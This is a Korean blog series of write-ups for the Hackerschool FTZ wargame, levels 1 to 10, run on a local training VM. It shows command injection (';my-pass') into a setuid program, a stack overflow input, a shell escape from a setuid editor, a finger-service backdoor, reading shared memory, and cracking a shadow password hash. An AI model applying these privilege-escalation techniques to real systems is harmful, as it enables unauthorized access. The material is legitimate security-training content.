반응형
반응형
반응형


해커스쿨 FTZ [LEVEL10] 풀이


M4ndU




해커스쿨 FTZ [LEVEL10] 풀이입니다.


ID | level10

PW | interesting to hack!


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level10

level10@192.168.31.128's password:

[level10@ftz level10]$ ls -l

total 16

-rw-r-----    1 root     level10       253 Jan 14  2010 hint

drwxr-x---    2 root     root         4096 Mar 29  2003 program

drwxr-xr-x    2 root     level10      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level10      4096 Jan 16  2009 tmp

[level10@ftz level10]$ cat hint



두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며,

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여

level11의 권한을 얻어라.


- 레벨을 완료하셨다면 소스는 지우고 나가주세요.



공유 메모리에 관한 문제입니다.

공유 메모리에 대해 공부를 하고 옵시다!!! (구글링)



....

하고 오셨나여?




일단 공유 메모리와 관련된 명령어인 ipcs를 사용해봅시다.


[level10@ftz level10]$ ipcs


------ Shared Memory Segments --------

key        shmid      owner      perms      bytes      nattch     status

0x00001d6a 0          root      666        1028       0


------ Semaphore Arrays --------

key        semid      owner      perms      nsems


------ Message Queues --------

key        msqid      owner      perms      used-bytes   messages


key가 0x00001d6a = 7530 인 것이 있네요.


이제 tmp 폴더로 이동해서 코드를 작성합시다.


[level10@ftz level10]$ cd tmp

[level10@ftz tmp]$ vi level10.c

#include<stdio.h>

#include<sys/ipc.h>

#include<sys/shm.h>


int main(){

        int a;

        char* b;

        a = shmget(7530, 1028, IPC_CREAT|0666);

        b = shmat(a, NULL, 0);

        printf("%s", b);

}



컴파일후, 실행해 줍시다.


[level10@ftz tmp]$ gcc -o level10 level10.c

[level10@ftz tmp]$ ./level10

멍멍: level11의 패스워드는?

구타: what!@#$?


다음 레벨로~ 가즈아~





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL12] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL9] 풀이


M4ndU




해커스쿨 FTZ [LEVEL9] 풀이입니다.


ID | level9

PW | apple


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level9

level9@192.168.31.128's password:

[level9@ftz level9]$ ls -l

total 12

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Jan 16  2009 tmp

[level9@ftz level9]$ cat hint



다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.



이 문제는 버퍼오버플로우 문제이네요.


buf의 크기는 10인데, 40만큼 입력을 받으면서 버퍼오버플로우 취약점이 생깁니다.


buf2가 먼저 선언되고  그다음 buf가 선언되었으므로 입력값이 buf를 넘어서면 buf2를 침범하게 되겠네요.

이렇게 해서 buf2의 값을 "go"로 바꿔주면 level10의 권한의 쉘을 띄워주는 것 같습니다.


그럼 정확한 buf와 buf2의 위치를 알아 보겠습니다.

힌트에 나온 소스를 복사하여 새롭게 컴파일을 하겠습니다.


[level9@ftz level9]$ cd tmp

[level9@ftz tmp]$ cat > bof.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}

[level9@ftz tmp]$ gcc -o bof bof.c


이제 gdb를 사용해서 분석을 해봅시다.


[level9@ftz tmp]$ gdb -q bof

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048420 <main+0>:    push   ebp

0x08048421 <main+1>:    mov    ebp,esp

0x08048423 <main+3>:    sub    esp,0x28

0x08048426 <main+6>:    and    esp,0xfffffff0

0x08048429 <main+9>:    mov    eax,0x0

0x0804842e <main+14>:   sub    esp,eax

0x08048430 <main+16>:   sub    esp,0xc

0x08048433 <main+19>:   push   0x8048554

0x08048438 <main+24>:   call   0x8048350 <printf>

0x0804843d <main+29>:   add    esp,0x10

0x08048440 <main+32>:   sub    esp,0x4

0x08048443 <main+35>:   push   ds:0x8049698

0x08048449 <main+41>:   push   0x28

0x0804844b <main+43>:   lea    eax,[ebp-40]

0x0804844e <main+46>:   push   eax

0x0804844f <main+47>:   call   0x8048320 <fgets>

0x08048454 <main+52>:   add    esp,0x10

0x08048457 <main+55>:   sub    esp,0x4

0x0804845a <main+58>:   push   0x2

0x0804845c <main+60>:   push   0x804856a

0x08048461 <main+65>:   lea    eax,[ebp-24]

0x08048464 <main+68>:   push   eax

0x08048465 <main+69>:   call   0x8048330 <strncmp>

0x0804846a <main+74>:   add    esp,0x10

0x0804846d <main+77>:   test   eax,eax

0x0804846f <main+79>:   jne    0x80484a6 <main+134>

0x08048471 <main+81>:   sub    esp,0xc

0x08048474 <main+84>:   push   0x804856d

0x08048479 <main+89>:   call   0x8048350 <printf>

0x0804847e <main+94>:   add    esp,0x10

0x08048481 <main+97>:   sub    esp,0x8

---Type <return> to continue, or q <return> to quit---

0x08048484 <main+100>:  push   0xbc2

0x08048489 <main+105>:  push   0xbc2

0x0804848e <main+110>:  call   0x8048360 <setreuid>

0x08048493 <main+115>:  add    esp,0x10

0x08048496 <main+118>:  sub    esp,0xc

0x08048499 <main+121>:  push   0x804857a

0x0804849e <main+126>:  call   0x8048310 <system>

0x080484a3 <main+131>:  add    esp,0x10

0x080484a6 <main+134>:  leave

0x080484a7 <main+135>:  ret

End of assembler dump.



buf 의 시작점은 [ebp-40]

buf2 의 시작점은 [ebp-24] 이네요.

이 둘의 차이가 16이므로 16바이트를 채우면 그 다음 바이트는 buf2의 값이 됩니다.


확인해 보겠습니다.


[level9@ftz tmp]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!


Good Skill!이 출력되는 것으로 보아 buf2의 값이 go 가 되어 조건문이 성립되었다는 것을 알 수 있습니다.

이제 실제 문제를 풀어봅시다.


[level9@ftz tmp]$ cd /usr/bin

[level9@ftz bin]$ ./bof

[level9@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$



성공입니다!


[level10@ftz bin]$ my-pass


Level10 Password is "interesting to hack!".



GAZUAAAAAAAAAAAAAAAAAAAAAAAAA!!




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL8] 풀이


M4ndU




해커스쿨 FTZ [LEVEL8] 풀이입니다.


ID | level8

PW | break the world


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level8

level8@192.168.31.128's password:

[level8@ftz level8]$ ls -l

total 12

-rw-r-----    1 root     level8        109 Jan 14  2010 hint

drwxr-xr-x    2 root     level8       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level8       4096 Jan 14  2009 tmp

[level8@ftz level8]$ cat hint



level9의 shadow 파일이 서버 어딘가에 숨어있다.

그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.


용량이 2700인 파일을 찾으면 될 것 같다.

find 명령어를 이용해 용량이 2700인 파일을 찾자.


[level8@ftz level8]$ find / -size 2700c 2>/dev/null

/var/www/manual/ssl/ssl_intro_fig2.gif

/etc/rc.d/found.txt

/usr/share/man/man3/IO::Pipe.3pm.gz

/usr/share/man/man3/URI::data.3pm.gz


음.. /etc/rc.d/found.txt 가 수상해보인다.

cat 명령어로 한번 보자.


[level8@ftz level8]$ cat /etc/rc.d/found.txt

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524



뭐가 엄청 나왔다...

일단 level9의 shadow파일인것은 확실하다.


shadow파일에 대해 알아보니 기본 구조가 다음과 같다고 한다:


사용자명:패스워드:패스워드 파일 최종 수정일:패스워드 변경 최소일:패스워드 변경 최대일:패스워드 만료 경고 기간:패스워드 파기 기간: 계정 만료 기간:예약 필드 


그렇다면, 패스워드 부분이 암호화가 되어 있다는 것을 알 수 있다.

이 것은 존 더 리퍼 라는 툴로 복호화가 가능하다고 한다.


위 파일 내용을 윈도우로 가져와서 윈도우용 존 더 리퍼 툴을 사용하여 복호화하면 된다.


apple


가즈아!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL7] 풀이


M4ndU




해커스쿨 FTZ [LEVEL7] 풀이입니다.


ID | level7

PW | come together


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level7

level7@192.168.31.128's password:

[level7@ftz level7]$ ls -l

total 12

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

[level7@ftz level7]$ cat hint



/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



음... 힌트를 봐도 잘 모르겠습니다..

일단 /bin/level7 명령을 실행해 봅시다.


[level7@ftz level7]$ level7

Insert The Password : hi

cat: /bin/wrong.txt: No such file or directory


/bin/에 있기 때문에 이동하지 않고 바로 level7을 입력해서 사용할 수 있습니다.
비밀번호를 입력하라고 해서 아무 문자나 넣어 보았습니다.
그랬더니 /bin/wrong.txt 가 없다고 뜹니다!

이 오류는 개인이 FTZ 서버를 열어서 하는경우 생기는 것이라고 하네요...
직접 root계정으로 접속하셔서 wrong.txt 를 만들어주어야 한다고 합니다.


정상적인 작동을 한다면 이런 문자가 출력된다고 합니다 :


--_--_- --____- ---_-__ --__-_-


여기서 다시 힌트를 봅시다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.


2진수를 10진수로 바꿀 수 있는가.

-를 1로, _를 0으로 본다면,


--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)


109, 97, 116, 101 무엇을 의미하는 것일까요?

잘 생각해보면 ASCII 범위(0~127)의 값인 것을 알 수 있습니다!


109 -> m

97 -> a

116 -> t

101 -> e


mate 라는 문자열이 나옵니다.

다시 level7 명령어를 사용해서 패스워드에 mate를 입력해보겠습니다.


[level7@ftz level7]$ level7

Insert The Password : mate


Congratulation! next password is "break the world".


성공입니다!! 가즈아아아아아아아아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL6] 풀이


M4ndU




해커스쿨 FTZ [LEVEL6] 풀이입니다.


ID | level6

PW | what the hell


으로 로그인합니다.




login as: level6

level6@192.168.31.128's password:



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.



로그인을 했더니 쉘은 안뜨고 힌트가 바로 뜬다.

여기서 엔터를 눌렀더니 


  #####################################

  ##                                                         ##

  ##         텔넷 접속 서비스                          ##

  ##                                                         ##

  ##                                                         ##

  ##     1. 하이텔     2. 나우누리                     ##

  ##     3. 천리안                                        ##

  ##                                                         ##

  #####################################


접속하고 싶은 bbs를 선택하세요 :



이런게 뜬다.

1을 누르고 엔터를 눌렀더니 Tring... 만 뜨고 아무일도 일어나지 않는다.

여기서 Ctrl + C 를 눌렀더니 level6의 쉘이 뜬다.


ls -l 로 어떤 파일이 있는가를 확인하고 password 파일을 cat을 통해 확인했다.


접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

[level6@ftz level6]$ ls -l

total 32

-rw-r--r--    1 root     root           72 Nov 23  2000 hint

-rw-r-----    1 root     level6         36 Mar 24  2000 password

drwxr-xr-x    2 root     level6       4096 May 16  2005 public_html

drwxrwxr-x    2 root     level6       4096 Jan 14  2009 tmp

-rwxr-x---    1 root     level6      14910 Mar  5  2003 tn

[level6@ftz level6]$ cat password

Level7 password is "come together".

[level6@ftz level6]$


가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL5] 풀이


M4ndU




해커스쿨 FTZ [LEVEL5] 풀이입니다.


ID | level5

PW | what is your name?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level5

level5@192.168.31.128's password:

[level5@ftz level5]$ ls -l

total 12

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 /tmp 에 임시 파일을 생성한다고 합니다.
일단 /usr/bin/level5를 실행해 보겠습니다.

[level5@ftz level5]$ /usr/bin/level5

음.. /tmp로 가볼까요?

[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -l
total 0음... 아무것도 없네요. 아마 임시파일이라서 생성되었다가 사라지는 것 같습니다.

그럼 직접 /tmp에 level5.tmp라는 파일을 만들어두고 /usr/bin/level5 를 실행하면 level5.tmp에 덮어쓰기가 일어나지 않을까요?
한번 해봅시다.

[level5@ftz tmp]$ cat > level5.tmp
hi
[level5@ftz tmp]$ /usr/bin/level5

cat 명령어로 level5.tmp를 만들고 /usr/bin/level5를 실행했습니다.
그리고 다시 level5.tmp를 cat명령어로 보면?

[level5@ftz tmp]$ cat level5.tmp
next password : what the hell

다음 패스워드가 뜨네요!

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL4] 풀이


M4ndU




해커스쿨 FTZ [LEVEL4] 풀이입니다.


ID | level4

PW | suck my brain


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


일단 /etc/xinetd.d/로 이동을 해야겠네요.


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor


정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.


[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 백도어이며,
level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -l
total 0

아무것도 없네요..
그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.


[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

}

~

~


i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".


다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL2] 풀이


M4ndU




해커스쿨 FTZ [LEVEL2] 풀이입니다.


ID | level2

PW | hacker or cracker


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level2

level2@192.168.31.128's password:

[level2@ftz level2]$ ls -l

total 12

-rw-r--r--    1 root     root           60 Mar 23  2000 hint

drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level2       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level2@ftz level2]$ cat hint



텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


?????????

일단.. level3의 쉘의 명령을 실행시킬수 있어야 하니 level3권한에 setuid가 걸린 파일을 찾아 봅시다.


[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null

/usr/bin/editor


오! 찾았습니다.

이 editor를 실행해 봅시다.
[level2@ftz level2]$ cd /usr/bin
[level2@ftz bin]$ ./editor

~
~
~
~
~
~
~
~
~
~
~
~                              VIM - Vi IMproved
~
~                               version 6.1.320
~                           by Bram Moolenaar et al.
~                 Vim is open source and freely distributable
~
~                        Help poor children in Uganda!
~                type  :help iccf<Enter>       for information
~
~                type  :q<Enter>               to exit
~                type  :help<Enter>  or  <F1>  for on-line help
~                type  :help version6<Enter>   for version info
~
~
~
~
~
~
~
~
~
~
~


vi 에디터네요.


명령어를 수행하는 : 를 누르고, 외부 쉘을 실행시키는 !과 쉘을 얻기 위해 /bin/bash를 입력해 주자.


~

~

~

~

:!/bin/bash



그랬더니 level3의 쉘이 떴다!
my-pass를 통해 패스워드를 확인하자.
[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".


자, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL1] 풀이


M4ndU




해커스쿨 FTZ [LEVEL1] 풀이입니다.


ID | level1

PW | level1


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp



hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.


level2 권한에 setuid가 걸린 파일을 찾아 봅시다.


find 명령어를 사용하면 됩니다.


[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)


하지만 오류가 많아서 우리가 찾고자 하는 파일을 찾기 힘듭니다.

그래서 이 오류들을 제외시켜주는 옵션을 추가해 줍시다.


바로 2> /dev/null 입니다.

여기서 2는 표준에러, /dev/null은 휴지통을 의미합니다.


[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe


찾았습니다!

ExecuteMe가 존재하는 /bin으로 이동하고, ExecuteMe를 실행하겠습니다.


[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



레벨2의 권한으로 원하는 명령어를 실행시켜 준다는데, my-pass와 chmod는 안된다고 합니다.

그렇지만 우리는 다른 방법으로도 level2의 패스워드를 얻을 수 있습니다.


level2의 권한으로 bash를 띄워서 my-pass 명령어를 사용하면 됩니다.


                [level2@ftz level2]$ bash



